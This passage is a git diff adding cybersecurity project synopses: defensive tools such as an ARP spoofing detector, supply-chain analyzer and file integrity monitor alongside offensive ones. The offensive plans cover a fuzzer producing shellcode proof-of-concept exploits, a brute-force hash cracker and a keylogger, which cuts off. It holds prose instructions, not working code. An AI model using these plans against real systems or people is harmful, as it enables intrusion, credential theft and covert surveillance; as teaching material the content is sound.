graphs visualizing performance differences. + +7. **Build security analysis and documentation** explaining post-quantum security rationale, hardness assumptions, known attacks and resistance levels. Document migration strategies: organizations should consider transitioning to post-quantum crypto over next 5-10 years before quantum computers become practical threats. Explain "store-now-decrypt-later" attacks: adversaries collect encrypted data today planning to decrypt later with quantum computers (motivates immediate adoption for long-lived sensitive data). + +8. **Create comprehensive educational documentation** explaining quantum computing fundamentals without requiring deep physics knowledge, discussing post-quantum cryptography algorithms and why they're quantum-resistant, providing implementation examples and integration guidance. Discuss limitations (post-quantum algorithms not standardized until recently, fewer implementations than classical crypto, performance and size trade-offs), compare different post-quantum algorithms (lattice-based fastest, multivariate polynomial support smaller keys), and explain how quantum-resistant crypto fits into cryptographic roadmaps. Include use cases (government communications, financial systems, healthcare records needing 20+ year confidentiality). Compare your implementation to established libraries and discuss security considerations for deployment. + +## Key Concepts to Learn +- Quantum computing and cryptographic threats +- Post-quantum cryptography algorithms +- Lattice-based cryptography (Kyber, Dilithium) +- Hybrid cryptography combining classical and PQC +- Key encapsulation and digital signatures +- Key derivation functions (KDF) +- Performance analysis and benchmarking +- Cryptographic implementation security +- Migration strategies and transition planning + +## Deliverables +- Kyber KEM implementation/integration +- Dilithium signature algorithm implementation +- Hybrid key agreement combining classical + PQC +- File encryption/decryption with hybrid crypto +- Hybrid digital signature implementation +- Performance benchmarking framework +- Security analysis and threat modeling +- Migration guidance documentation +- Educational resources and examples diff --git a/SYNOPSES/advanced/Supply.Chain.Security.Analyzer.md b/SYNOPSES/advanced/Supply.Chain.Security.Analyzer.md new file mode 100644 index 00000000..703d16bb --- /dev/null +++ b/SYNOPSES/advanced/Supply.Chain.Security.Analyzer.md @@ -0,0 +1,48 @@ +# Supply Chain Security Analyzer + +## Overview +Build a tool analyzing software dependencies for vulnerabilities and malicious packages, detecting typosquatting and dependency confusion attacks, and monitoring CI/CD pipelines for suspicious activities compromising build integrity. This project teaches software supply chain security, dependency management, and demonstrates threats increasingly targeting development infrastructure. + +## Step-by-Step Instructions + +1. **Understand software supply chain attacks and threats** by learning that attackers increasingly target software development infrastructure exploiting supply chain trust: compromised open source packages (npm, PyPI, RubyGems repositories), typosquatting (packages mimicking popular libraries with slight name variations), dependency confusion (internal dependencies replaced with public packages), and CI/CD pipeline compromise (code injection during build process). Study real incidents: SolarWinds supply chain attack (Orion software compromised), npm package incidents, and GitHub Actions exploitation. Learn that software supply chains are attack surface requiring security. + +2. **Implement dependency analysis** for common package managers: build parsers for dependency files (package.json for npm, requirements.txt for Python, Gemfile for Ruby, pom.xml for Maven), extract all direct and transitive dependencies with versions. Create dependency graph visualizing relationships and showing dependency depth. Implement version constraint analysis: what versions satisfy constraints, identify outdated versions with security updates available. + +3. **Build vulnerability scanning against dependency databases** checking for known vulnerabilities: integrate with vulnerability databases (CVE, NVD, GitHub Advisory, Snyk database), cross-reference dependencies against known vulnerable versions, identify fixable vulnerabilities (available patches). Implement transitive vulnerability detection: vulnerabilities in dependencies of dependencies matter too. Prioritize by severity and exploitability. + +4. **Create typosquatting detection** identifying malicious look-alike packages: implement similarity algorithms (Levenshtein distance) comparing package names against legitimate popular packages, detect phonetic similarities, identify unicode homograph tricks (O and 0, l and 1). Check for suspicious package characteristics: published recently, unusual version jumps, suspicious code changes, downloads spike compared to similar legitimate packages. Flag suspicious packages for review. + +5. **Implement dependency confusion detection** where internal packages replaced by public versions: analyze dependency resolution order—private repositories should be checked first, then public. Detect when package names overlap between private and public registries. Implement private package registry scanning: scan internal registries for vulnerable packages, ensure package names don't conflict with public packages. Implement network controls preventing accidental public registry lookups for private packages. + +6. **Build CI/CD pipeline security analysis** detecting compromised build processes: analyze build configuration files (GitHub Actions, GitLab CI, Jenkins pipelines) for suspicious activities (hidden script execution, environment variable exfiltration, reverse shell callbacks). Detect secrets in code repositories (API keys, credentials hardcoded), scanning repository history for accidentally committed secrets. Analyze build artifacts: container images built during CI, detecting suspicious layers or contents. + +7. **Create SCA (Software Composition Analysis) reporting** with license analysis, security metrics, and remediation guidance**: analyze software licenses of dependencies ensuring compliance with organizational policy (GPL, MIT, commercial restrictions), identify license conflicts. Generate reports showing: all dependencies with versions, vulnerability status, license types, remediation recommendations. Track usage: which projects depend on vulnerable libraries, blast radius of vulnerabilities. + +8. **Build comprehensive scanning and monitoring** integrating into development workflows: create CI/CD integration scanning dependencies on every commit, provide pre-commit hooks preventing vulnerable dependencies from being committed, create continuous monitoring: re-scan periodically as new vulnerabilities discovered (0-days). Build developer dashboards showing security health, automated remediation suggestions (dependency updates). Compare to commercial SCA solutions (Snyk, BlackDuck, Checkmarx), discuss limitations (scanning catches direct vulnerabilities but novel supply chain attacks like code injection may bypass detection, human review needed for sophisticated threats), and explain integration into secure development practices. Emphasize: software supply chain security requires holistic approach combining dependency scanning, access controls, signed artifacts, and incident response readiness. + +## Key Concepts to Learn +- Software supply chain architecture +- Package managers and dependency resolution +- Typosquatting and dependency confusion +- Software composition analysis (SCA) +- Vulnerability databases and CVE mapping +- CI/CD pipeline security +- License compliance analysis +- Build artifact analysis +- Secret detection and management +- Secure dependency resolution + +## Deliverables +- Dependency file parsers (npm, Python, Ruby, Maven) +- Dependency graph generation and analysis +- Vulnerability scanning against databases +- Version constraint analysis +- Typosquatting detection +- Dependency confusion detection +- License compliance checking +- CI/CD pipeline analysis +- Secret scanning in repositories +- Build artifact analysis +- Comprehensive SCA reporting +- Developer dashboards and alerts diff --git a/SYNOPSES/advanced/Zero.Day.Vulnerability.Scanner.md b/SYNOPSES/advanced/Zero.Day.Vulnerability.Scanner.md new file mode 100644 index 00000000..e68b640a --- /dev/null +++ b/SYNOPSES/advanced/Zero.Day.Vulnerability.Scanner.md @@ -0,0 +1,45 @@ +# Zero-Day Vulnerability Scanner + +## Overview +Build a fuzzing framework that automatically discovers vulnerabilities in applications through coverage-guided fuzzing using AFL/LibFuzzer, triages crashes, and generates proof-of-concept exploits. This project teaches vulnerability research, fuzzing methodology, and demonstrates techniques used to discover previously unknown vulnerabilities before public disclosure. + +## Step-by-Step Instructions + +1. **Understand fuzzing concepts and vulnerability discovery** by learning that fuzzing feeds random or mutated inputs to programs observing crashes revealing bugs that could be exploitable vulnerabilities. Study fuzzing types: dumb fuzzing (random mutation), coverage-guided fuzzing (mutation favoring paths exercising new code), and evolutionary fuzzing (genetic algorithms improving mutation strategy). Research tools (AFL, LibFuzzer, QEMU) enabling effective fuzzing. Understand vulnerability classes discovered through fuzzing: buffer overflows, integer overflows, use-after-free, format string vulnerabilities, and memory corruption bugs. + +2. **Implement coverage-guided fuzzing using AFL (American Fuzzy Lop) or LibFuzzer**: research mutation strategies: bit flipping, byte replacement, and interesting value generation (known problematic values). Implement or integrate coverage measurement: track which code paths executed, prioritize mutations reaching new code paths. Build corpus management: maintain collection of inputs producing interesting coverage, gradually grow corpus discovering new execution paths. + +3. **Build input mutator and corpus evolution** with intelligent mutation strategies: implement deterministic mutations (flip bits, overwrite bytes), non-deterministic mutations (random changes), and havoc (random byte replacement from multiple consecutive mutations). Implement seed selection: inputs triggering new coverage get higher priority for mutation. Create dictionary-guided mutations using keywords specific to target protocol/format (HTTP headers, JSON structures, file headers) improving crash discovery. + +4. **Create crash triage and deduplication** identifying exploitable vulnerabilities: group crashes by root cause (distinguish unique crashes from duplicates), analyze crash characteristics (what input triggered crash, where in code, what memory was accessed), determine severity (segfault in critical code vs. heap corruption). Implement crash minimization: reduce crashing input to minimal reproducible case for analysis and proof-of-concept development. + +5. **Implement dynamic analysis for crashed inputs** determining exploitability: use debugging tools (GDB) to trace crashed inputs understanding control flow at crash point. Detect exploitable patterns: detecting stack buffer overflows, heap buffer overflows, use-after-free, format string vulnerabilities. Classify crashes by exploitability: definitely exploitable (memory write with attacker control), potentially exploitable (memory corruption with limited attacker control), or hard-to-exploit (DoS or information disclosure only). + +6. **Build proof-of-concept (PoC) generation** creating minimal exploits from discovered vulnerabilities: generate inputs that trigger vulnerability, package as executable code demonstrating exploitation. For code injection vulnerabilities, implement shellcode generation showing arbitrary code execution. For information disclosure, show what data leaked. Document vulnerability with reproductible steps. + +7. **Create vulnerability analysis and reporting** generating detailed technical reports: describe vulnerability type and root cause, show affected code, provide crash traces and memory analysis, include proof-of-concept, estimate severity and impact. Generate metrics: vulnerabilities discovered per fuzzing hour, severity distribution, types of vulnerabilities (most common in target). Build visualization showing program coverage achieved through fuzzing. + +8. **Build comprehensive documentation** explaining fuzzing methodology, coverage measurement theory, and mutation strategies. Discuss ethical considerations: only fuzz applications you own or have explicit permission to test, coordinate disclosure of found vulnerabilities with vendors before public release, understand legal implications of vulnerability discovery. Provide fuzzing best practices: prepare harnesses for fuzzed programs, use instrumentation to improve coverage, parallelize fuzzing across multiple cores. Compare to commercial fuzzing services and discuss limitations (fuzzing effectiveness varies by target complexity, some vulnerabilities require specific inputs unlikely to be found through random mutation, integration with manual security review needed for comprehensive coverage). Explain how zero-day discovery fits into vulnerability research, security research programs, and coordinated disclosure processes. + +## Key Concepts to Learn +- Fuzzing methodology and input generation +- Coverage-guided fuzzing +- Mutation strategies and corpus evolution +- Crash analysis and triage +- Exploitability assessment +- Dynamic program analysis +- Proof-of-concept generation +- Vulnerability classification +- Ethical disclosure and responsible research + +## Deliverables +- Coverage-guided fuzzer implementation/integration +- Input mutation engine with strategic mutations +- Corpus management and evolution +- Crash detection and logging +- Crash minimization to minimal reproducible case +- Exploitability assessment and classification +- Proof-of-concept generation +- Vulnerability analysis and reporting +- Visualization of code coverage +- Performance metrics and statistics diff --git a/SYNOPSES/beginner/ARP.Spoofing.Detector.md b/SYNOPSES/beginner/ARP.Spoofing.Detector.md new file mode 100644 index 00000000..e8903395 --- /dev/null +++ b/SYNOPSES/beginner/ARP.Spoofing.Detector.md @@ -0,0 +1,38 @@ +# ARP Spoofing Detector + +## Overview +Build a network security tool that monitors Address Resolution Protocol (ARP) traffic to detect spoofing attacks where attackers forge ARP messages to intercept network traffic. This project teaches layer 2 network attacks, ARP protocol mechanics, and demonstrates fundamental network intrusion detection techniques. + +## Step-by-Step Instructions + +1. **Understand ARP protocol and spoofing attacks** by learning that ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on local networks, and that ARP spoofing (also called ARP poisoning) involves sending forged ARP messages claiming an attacker's MAC address is associated with legitimate IPs. Study attack mechanics: when a victim trusts the forged ARP, it sends traffic destined for a legitimate IP to the attacker instead, enabling man-in-the-middle (MITM) attacks, session hijacking, and network disruption. + +2. **Implement ARP packet capture** using `scapy` to sniff network traffic and filter for ARP packets specifically. Extract relevant information from each ARP packet: source MAC address, source IP, destination MAC address, destination IP, and operation type (request vs. reply). Understand that detecting ARP spoofing requires analyzing patterns rather than individual packets since ARP is legitimate protocol with normal variation. + +3. **Build MAC-to-IP mapping database** that tracks the relationship between IP addresses and their legitimate MAC addresses on the network. Create a baseline of known-good mappings through active ARP scanning or passive observation over time, storing these mappings with timestamps and confidence levels. Use this database as reference to detect when a single IP suddenly claims to come from a different MAC address. + +4. **Implement duplicate IP detection** by identifying when the same IP address is claimed by multiple different MAC addresses within a suspicious time window. Legitimate cases exist (like DHCP reassignment or IP changes), but rapid duplicates indicate spoofing. Implement heuristics distinguishing normal IP transitions (gradual, expected) from suspicious patterns (sudden, frequent changes, many IPs from one MAC). + +5. **Create MAC address change detection** by monitoring when a previously known MAC-to-IP association changes, flagging unexpected transitions as suspicious. Track the source of the mapping change (was it a unicast ARP reply to this specific host, or broadcast to whole network?) and the frequency (legitimate changes happen infrequently while spoofing may generate many changes quickly). + +6. **Add gratuitous ARP analysis** recognizing that legitimate hosts send gratuitous ARPs when joining networks or recovering from network issues, but attackers abuse this to poison ARP caches. Detect suspicious patterns: numerous gratuitous ARPs from single MAC, gratuitous ARPs announcing IPs the sender shouldn't legitimately possess, or targeted gratuitous ARPs after network changes. + +7. **Implement alerting and logging** that notifies administrators when potential ARP spoofing is detected, including evidence (affected IPs, MAC addresses, ARP messages seen). Log all ARP traffic to files for forensic analysis, storing complete packet captures and statistical summaries enabling incident investigation and proving attacks occurred to stakeholders. + +8. **Build comprehensive documentation** explaining ARP protocol mechanics and spoofing attack techniques, discussing detection methodology and limitations (cannot detect application-layer spoofing), and providing deployment guidance. Compare your detector to other tools (Arpwatch, Arpalert), discuss integration with network infrastructure (DHCP snooping, DAI - Dynamic ARP Inspection), and explain how ARP spoofing detection fits into broader network security monitoring strategies. + +## Key Concepts to Learn +- ARP protocol and layer 2 networking +- Man-in-the-middle attack techniques +- Packet capture and analysis +- Pattern recognition for attack detection +- Statistical analysis of network behavior +- Network intrusion detection systems + +## Deliverables +- Live ARP packet capture and analysis +- MAC-to-IP mapping database and tracking +- Duplicate IP detection +- Suspicious MAC-to-IP association identification +- Gratuitous ARP pattern analysis +- Alerting and comprehensive logging diff --git a/SYNOPSES/beginner/Base64.Encoder.Decoder.md b/SYNOPSES/beginner/Base64.Encoder.Decoder.md new file mode 100644 index 00000000..68714c8b --- /dev/null +++ b/SYNOPSES/beginner/Base64.Encoder.Decoder.md @@ -0,0 +1,38 @@ +# Base64 Encoder/Decoder with Detection + +## Overview +Build a tool that encodes and decodes multiple encoding formats including Base64, Base32, hexadecimal, and URL encoding with automatic format detection. This project teaches data encoding principles, pattern recognition for format identification, and demonstrates practical utilities for working with encoded data in security testing and analysis. + +## Step-by-Step Instructions + +1. **Understand encoding standards and their purposes** by learning that encoding (not encryption) transforms data into alternate representations: Base64 uses 64 printable characters for binary-safe text transmission, Base32 uses 32 characters for environments with less character support, hexadecimal represents data as two-character pairs of hex digits, and URL encoding replaces special characters with %HH codes. Recognize that encoding is reversible and doesn't provide security unlike encryption, but enables data transmission through restricted channels. + +2. **Implement Base64 encoding and decoding** using Python's built-in `base64` module, creating functions that accept input data and produce Base64-encoded output, and reverse the process to decode Base64 back to original data. Handle padding characters (=), test with various input types (text, binary, Unicode), and verify compatibility with standard Base64 specifications. + +3. **Add Base32 encoding and decoding support** using similar approaches, recognizing that Base32 uses a different alphabet and produces longer output than Base64. Implement RFC 4648 compliant Base32 encoding/decoding, including support for both standard and hex alphabet variants used in different contexts. + +4. **Implement hexadecimal conversion** allowing conversion between binary data and hex representation (where each byte is represented as two hex characters: 00-FF). Support both uppercase and lowercase hex output formats, and provide options for different hex display formats (no separators, space-separated, colon-separated for MAC addresses). + +5. **Add URL encoding/decoding functionality** for handling special characters in URLs and form data, implementing percent-encoding where unsafe characters are converted to %HH codes. Support both form-encoding (application/x-www-form-urlencoded where spaces become +) and standard URL encoding (spaces become %20). + +6. **Build automatic format detection** by analyzing input data and identifying which encoding format is likely used: look for Base64 patterns (A-Za-z0-9+/= characters in multiples of 4), Base32 patterns (A-Z2-7= characters), hexadecimal patterns (0-9A-Fa-f sequences), and URL encoding patterns (%XX sequences). Use heuristics and pattern matching to make educated guesses about format, displaying confidence levels and alternative possibilities. + +7. **Create a multi-function CLI interface** accepting input as command-line arguments, from piped stdin, or from files, with options to specify encoding format, output format, and handling modes. Support batch processing of multiple values, interactive mode for real-time encoding/decoding, and pipeline-friendly output suitable for command chaining. + +8. **Build comprehensive documentation** with examples of each encoding format showing input and output, explaining why different encodings exist and when each is used, and providing use cases in security contexts (Base64 in certificates and tokens, hex in binary analysis, URL encoding in web requests). Include common gotchas (padding issues, Unicode handling, case sensitivity) and provide examples of decoding real-world encoded data from security contexts. + +## Key Concepts to Learn +- Data encoding standards and representations +- Pattern recognition and format detection +- Base64, Base32, hexadecimal, and URL encoding +- String manipulation and binary data handling +- Encoding for data transmission and storage +- CLI design for practical utilities + +## Deliverables +- Base64 encoding and decoding +- Base32 support with RFC 4648 compliance +- Hexadecimal conversion functionality +- URL encoding/decoding with form variants +- Automatic format detection with confidence scoring +- Batch and interactive processing modes diff --git a/SYNOPSES/beginner/Caesar.Cipher.md b/SYNOPSES/beginner/Caesar.Cipher.md new file mode 100644 index 00000000..c6821324 --- /dev/null +++ b/SYNOPSES/beginner/Caesar.Cipher.md @@ -0,0 +1,35 @@ +# Caesar Cipher Encoder/Decoder + +## Overview +Build a command-line tool that implements the Caesar cipher, one of history's simplest encryption methods where each character is shifted by a fixed number of positions in the alphabet. This project teaches fundamental cryptography concepts, string manipulation, and serves as an excellent foundation for understanding more complex encryption systems. + +## Step-by-Step Instructions + +1. **Understand the Caesar cipher algorithm** by learning how it shifts each letter in a message by a consistent number (the "key") through the alphabet—for example, with a shift of 3, 'A' becomes 'D', 'B' becomes 'E', and so on. Recognize that there are only 26 possible meaningful shifts since shifting by 26 returns to the original, making this cipher trivially weak but conceptually instructive. + +2. **Build the encryption function** that takes a plaintext message and a shift key, then iterates through each character and applies the shift formula. For each letter, calculate its position in the alphabet (0-25), add the shift value, use modulo 26 to wrap around the alphabet, and convert back to a character—handle both uppercase and lowercase letters appropriately. + +3. **Implement the decryption function** by simply reversing the process: subtract the shift value instead of adding it, or equivalently encrypt with the negative shift (shift of -3 to decrypt something shifted by 3). Recognize that decryption and encryption are mathematically symmetric operations in the Caesar cipher. + +4. **Add special character handling** by preserving spaces, punctuation, and numbers exactly as they appear in the original message—only shift alphabetic characters. This maintains readability and prevents corrupting important formatting or numerical data in the message. + +5. **Create brute-force decryption capability** that tries all 26 possible shifts automatically when you don't know the encryption key. Output all 26 possible decryptions with their shift values, allowing the user to identify which one produces intelligible plaintext—this demonstrates why Caesar cipher is so weak and easily broken. + +6. **Build a user-friendly CLI interface** with clear prompts asking whether the user wants to encrypt or decrypt, what message to process, and (for encryption) what shift key to use. Provide helpful error messages if invalid input is detected and allow users to process multiple messages in one session without restarting the program. + +7. **Add analysis features** like character frequency counting that displays how often each letter appears in the plaintext and ciphertext, demonstrating how frequency analysis is used to break simple substitution ciphers without knowing the key. Include statistics like vowel-to-consonant ratios and word pattern analysis. + +8. **Create comprehensive documentation** explaining the history and limitations of Caesar cipher, why it's broken by modern standards, and how it relates to more sophisticated encryption methods. Include examples of encrypting and decrypting messages, explain the brute-force attack methodology, and discuss practical applications for educational learning about cryptography concepts. + +## Key Concepts to Learn +- String manipulation and character encoding +- Mathematical modulo operations +- Brute-force attack methodology +- Algorithm design and implementation +- Basic cryptography principles + +## Deliverables +- Functional encryption/decryption CLI tool +- Brute-force decryption with all 26 possible shifts +- Character frequency analysis +- Well-documented code with examples and explanations diff --git a/SYNOPSES/beginner/DNS.Lookup.Tool.md b/SYNOPSES/beginner/DNS.Lookup.Tool.md new file mode 100644 index 00000000..f3cb672c --- /dev/null +++ b/SYNOPSES/beginner/DNS.Lookup.Tool.md @@ -0,0 +1,35 @@ +# DNS Lookup Tool + +## Overview +Create a Python tool that queries DNS records using the `dnspython` library to retrieve multiple record types (A, AAAA, MX, TXT, NS, CNAME) for a target domain. This project teaches network fundamentals, DNS protocol knowledge, and domain reconnaissance techniques essential for cybersecurity professionals and system administrators. + +## Step-by-Step Instructions + +1. **Install and explore dnspython library** by running `pip install dnspython` and familiarizing yourself with its query functions, resolver objects, and exception handling. Understand how DNS queries work at a fundamental level—how different record types serve different purposes (A records for IPv4, MX for mail servers, TXT for text records, etc.) and how DNS is hierarchical with root nameservers delegating to authoritative servers. + +2. **Implement individual query functions** for each major DNS record type, creating separate functions for A records (IPv4 addresses), AAAA records (IPv6 addresses), MX records (mail exchange servers), TXT records (text information), NS records (nameservers), and CNAME records (aliases). Test each function independently to ensure it queries correctly and handles the specific response format for that record type. + +3. **Add error handling and exception management** to gracefully handle common DNS issues like domain not found (NXDOMAIN), no records of that type (NODATA), DNS server timeouts, and network connectivity problems. Provide clear error messages to users explaining what went wrong and suggesting troubleshooting steps. + +4. **Create a unified query interface** that allows users to specify a domain and optionally which record types to query, or simply query all types automatically. Implement this as a main function that coordinates calls to individual record type functions and aggregates the results into a cohesive output. + +5. **Implement reverse DNS lookup functionality** that takes an IP address and queries for the corresponding domain name (PTR records). This is valuable for security investigations, ISP identification, and understanding network ownership—demonstrate how reverse DNS can reveal hostname information associated with an IP. + +6. **Build formatted table output** using libraries like `tabulate` to display results in clean, organized columns showing record type, value, TTL (time-to-live), and other relevant metadata. Use color coding or styling to distinguish between different record types and make the output visually scannable. + +7. **Add querying options and filters** allowing users to specify custom DNS servers to query (instead of using system defaults), set query timeouts, enable recursive resolution options, and filter results by specific criteria. Include a verbose mode that shows additional metadata like response codes and query statistics. + +8. **Create comprehensive documentation** with examples of querying different domain types, explaining what each record type means and why it matters in cybersecurity contexts (MX records for phishing analysis, TXT records for DMARC/SPF verification, NS records for infrastructure mapping, etc.). Include usage examples and explain how DNS reconnaissance fits into broader security reconnaissance workflows. + +## Key Concepts to Learn +- DNS protocol and record types +- Network querying and socket operations +- Exception handling and error management +- Domain infrastructure reconnaissance +- IPv4 and IPv6 addressing + +## Deliverables +- Functional DNS query tool for all major record types +- Reverse DNS lookup capability +- Clean formatted output with multiple display options +- Custom DNS server support and advanced filtering diff --git a/SYNOPSES/beginner/File.Integrity.Monitor.md b/SYNOPSES/beginner/File.Integrity.Monitor.md new file mode 100644 index 00000000..290b7c76 --- /dev/null +++ b/SYNOPSES/beginner/File.Integrity.Monitor.md @@ -0,0 +1,36 @@ +# File Integrity Monitor + +## Overview +Build a security tool that monitors specified directories for unauthorized file changes by computing and tracking checksums of files, alerting on modifications, additions, or deletions with timestamped logs. This project teaches cryptographic hashing, file system monitoring, and demonstrates core concepts used in enterprise security tools for detecting system compromise. + +## Step-by-Step Instructions + +1. **Implement checksum calculation functionality** using MD5 or SHA256 algorithms to generate fixed-length fingerprints of file contents—use the `hashlib` library to compute hashes efficiently, supporting both small files loaded entirely into memory and large files processed in chunks. Create a baseline snapshot of files in monitored directories by computing and storing checksums with associated metadata (filename, path, file size, modification time, timestamp of calculation). + +2. **Build a persistent database** to store baseline checksums and monitored file information—use SQLite for simplicity or JSON files for portability, storing records of each file's name, path, size, and hash value. Structure the database to support multiple monitoring sessions and historical tracking so you can generate reports showing changes over time and identify patterns of tampering. + +3. **Create a baseline snapshot command** that scans specified directories (recursively or non-recursively based on configuration), computes checksums for all files, and stores them in the database as the reference state. Include filtering capabilities to exclude certain file types, paths, or sizes, allowing users to focus monitoring on critical system files rather than monitoring entire directories including temporary or log files. + +4. **Implement continuous monitoring** using file system watchers (Python's `watchdog` library) or periodic rescanning to detect when files change. Compare newly computed checksums against the stored baseline, tracking three types of events: modified files (checksum changed), new files (not in baseline), and deleted files (in baseline but no longer exist). Log each event with precise timestamps for forensic analysis. + +5. **Add alerting capabilities** to notify administrators when suspicious changes are detected, supporting multiple alert channels (write to log file, email alerts, webhook notifications, system notifications). Implement alert severity levels distinguishing between critical files (immediate alert) and less important files (batch alerts), allowing administrators to tune notification frequency and avoid alert fatigue. + +6. **Create reporting functionality** generating detailed logs and reports showing all detected changes with timestamps, file paths, before-and-after file sizes, and calculated checksums. Include summary statistics (total files monitored, changes detected, false positives if any) and provide export options (CSV, JSON, PDF) suitable for compliance documentation and forensic investigations. + +7. **Build configuration management** allowing users to specify monitored directories, file filters, checksum algorithms, monitoring frequency, database location, and alert settings through configuration files. Include command-line arguments for common operations (create baseline, run monitor, generate report) making the tool convenient for both interactive and automated/scheduled use. + +8. **Create comprehensive documentation** explaining file integrity monitoring concepts, discussing use cases (detecting system compromise, compliance monitoring, configuration drift detection), and providing deployment examples. Explain limitations (monitoring adds overhead, doesn't prevent modifications, only detects them), compare your tool to enterprise solutions like Tripwire or AIDE, and include guidance on responding to detected changes (isolating systems, analyzing logs, involving incident response). + +## Key Concepts to Learn +- Cryptographic hash functions and checksums +- File system operations and monitoring +- Database design and persistence +- Event logging and alerting systems +- Compliance and forensic investigation + +## Deliverables +- Baseline checksum snapshot creation +- Continuous file monitoring with change detection +- SQLite or JSON database for checksum storage +- Multi-channel alerting (logs, email, webhooks) +- Detailed reporting with export formats diff --git a/SYNOPSES/beginner/Firewall.Log.Parser.md b/SYNOPSES/beginner/Firewall.Log.Parser.md new file mode 100644 index 00000000..691541a8 --- /dev/null +++ b/SYNOPSES/beginner/Firewall.Log.Parser.md @@ -0,0 +1,38 @@ +# Simple Firewall Log Parser + +## Overview +Build a tool that parses firewall logs from iptables, UFW, or pfSense to generate security reports on blocked connections, identify top attacking IPs, reveal most targeted ports, and visualize attack patterns. This project teaches log analysis, attack pattern recognition, and provides practical insights into network security incidents. + +## Step-by-Step Instructions + +1. **Understand firewall log formats** across different platforms—iptables logs typically appear in syslog with format "iptables: IN= OUT= SRC= DST= PROTO= SPT= DPT=", UFW uses similar formats with additional descriptors, and pfSense logs in a structured format with timestamp, rule, and traffic details. Research the specific format for each firewall type, document the fields available, and create parsing templates that extract source IP, destination IP, port numbers, protocol types, and action taken (ACCEPT/DROP). + +2. **Implement robust log file parsing** by reading firewall log files and extracting key information using regular expressions or structured parsing libraries. Handle variations in log formatting, incomplete entries, and corrupted lines gracefully, implementing error handling that continues processing even when encountering malformed data. Support multiple log file formats through pluggable parsers or conditional logic. + +3. **Create connection analysis functions** that aggregate blocked connections by source IP to identify the most active attackers, track which ports are most frequently targeted to reveal attack focus, and calculate attack frequency over time periods. Identify patterns like port scanning (attempts on many different ports from single source) vs. focused attacks (repeated attempts on specific ports/services). + +4. **Build IP geolocation and reputation lookup** by integrating with APIs or local databases to identify where attacking IPs are located geographically and whether they're known malicious sources. Add context about ISP, hosting provider, and known threat intelligence about each attacking IP, helping analysts understand attack sources and patterns. + +5. **Implement protocol and service analysis** by mapping target ports to common services (port 22 = SSH, 80 = HTTP, 443 = HTTPS, 3306 = MySQL, etc.) and analyzing protocol distribution to understand what services are being targeted. Identify unusual protocol combinations or suspicious port selections that might indicate specific attack types or reconnaissance. + +6. **Create timeline and temporal analysis** showing when attacks occur (time of day, day of week, trending patterns), identifying whether attacks are persistent, escalating, or sporadic. Build heatmaps showing attack intensity over time and detect anomalies like sudden spikes in firewall blocks that might indicate coordinated attacks. + +7. **Generate comprehensive reports** in multiple formats (HTML dashboards, PDF reports, JSON data) showing top attacking IPs ranked by frequency, most targeted ports with attack counts, geographic distribution of attackers, and timeline visualizations. Include summary statistics (total blocked connections, unique attackers, ports targeted) and highlight the most critical findings for executive visibility. + +8. **Build comprehensive documentation** explaining firewall log analysis concepts, providing examples of parsed logs, and discussing how this analysis fits into incident response and security operations workflows. Include guidance on interpreting results (distinguishing research traffic from actual attacks), discussing legitimate reasons for blocks, and providing recommendations for response actions (blocking IPs, alerting administrators, investigating incidents). + +## Key Concepts to Learn +- Firewall configuration and log formats +- Regular expressions and text parsing +- Data aggregation and statistical analysis +- IP geolocation and threat intelligence +- Timeline analysis and temporal patterns +- Security event investigation + +## Deliverables +- Multi-format firewall log parser (iptables, UFW, pfSense) +- Blocked connection analysis and aggregation +- Top attacking IPs and targeted ports identification +- Temporal analysis and attack pattern detection +- IP reputation and geolocation lookup +- Multi-format reporting and dashboards diff --git a/SYNOPSES/beginner/Hash.Cracker.md b/SYNOPSES/beginner/Hash.Cracker.md new file mode 100644 index 00000000..f7fbcd59 --- /dev/null +++ b/SYNOPSES/beginner/Hash.Cracker.md @@ -0,0 +1,37 @@ +# Hash Cracker + +## Overview +Build a hash cracking tool that attempts to match unknown hashes against wordlists and brute-force attempts to recover original passwords. This project teaches hash algorithm mechanics, attack methodologies, and demonstrates why proper password hashing (with salts and slow algorithms) is critical for security. + +## Step-by-Step Instructions + +1. **Understand hash algorithms and limitations** by studying MD5, SHA1, and SHA256 hash functions—learn that these are one-way mathematical functions producing fixed-length outputs that are deterministic (same input always produces same output). Recognize that MD5 and SHA1 are cryptographically broken and should not be used for password storage, but understanding how to crack them teaches important security principles about why newer algorithms like bcrypt exist. + +2. **Implement hash generation capability** so you can produce hashes to test your cracker—build functions that hash input strings with MD5, SHA1, and SHA256 algorithms. Verify your implementation by testing against known hash values and comparing outputs with standard tools like `openssl` or online hash calculators. + +3. **Create wordlist-based dictionary attack** by reading a wordlist file (common password lists available online) and hashing each word, comparing it against the target hash. This teaches the attack methodology used when hackers have stolen password hashes and attempt to recover the plaintext by trying common passwords—it's fast because it only tries likely passwords. + +4. **Implement brute-force attack capability** that generates all possible character combinations up to a specified length and tests each one. Start with lowercase letters only, then expand to uppercase, numbers, and special characters—implement this efficiently using string generators or itertools to avoid storing massive lists in memory. + +5. **Add salted hash support** by understanding how salts (random data added to passwords before hashing) prevent dictionary attacks and rainbow tables. Implement cracking of salted hashes by accepting the salt as input and prepending/appending it to each guess before hashing—explain why salts are essential and why brute-forcing salted hashes takes exponentially longer. + +6. **Optimize performance** by implementing multi-threading or multi-processing to crack hashes faster using multiple CPU cores. Add progress reporting showing hashes-per-second, estimated time remaining, and current progress through the wordlist or brute-force space—performance optimization teaches practical programming skills beyond basic hash cracking. + +7. **Build configuration options** allowing users to specify target hash type, hash value, wordlist file path, brute-force character sets, maximum password length, and number of threads. Support loading multiple hashes at once and determining when any of them are cracked, enabling batch cracking operations. + +8. **Create comprehensive documentation** explaining hash algorithms and their security properties, discussing why unsalted hashes are dangerous, explaining the differences between dictionary and brute-force attacks, and providing real-world examples of password cracking in penetration testing contexts. Include warnings about the computational effort required for strong passwords and explain why proper password hashing practices (bcrypt, argon2, scrypt) make cracking prohibitively expensive. + +## Key Concepts to Learn +- Cryptographic hash functions and properties +- Dictionary attack methodology +- Brute-force attack optimization +- Password salting and iterations +- Multi-threading and performance optimization +- Rainbow tables and their limitations + +## Deliverables +- Hash cracker supporting MD5, SHA1, SHA256 +- Dictionary attack with wordlist support +- Brute-force mode with character set options +- Multi-threaded performance optimization +- Salted hash support and configuration options diff --git a/SYNOPSES/beginner/Keylogger.md b/SYNOPSES/beginner/Keylogger.md new file mode 100644 index 00000000..9cb725e7 --- /dev/null +++ b/SYNOPSES/beginner/Keylogger.md @@ -0,0 +1,35 @@ +# Keylogger + +## Overview +Create an educational keylogging tool using Python's `pynput` library to capture keyboard input and log it with timestamps. 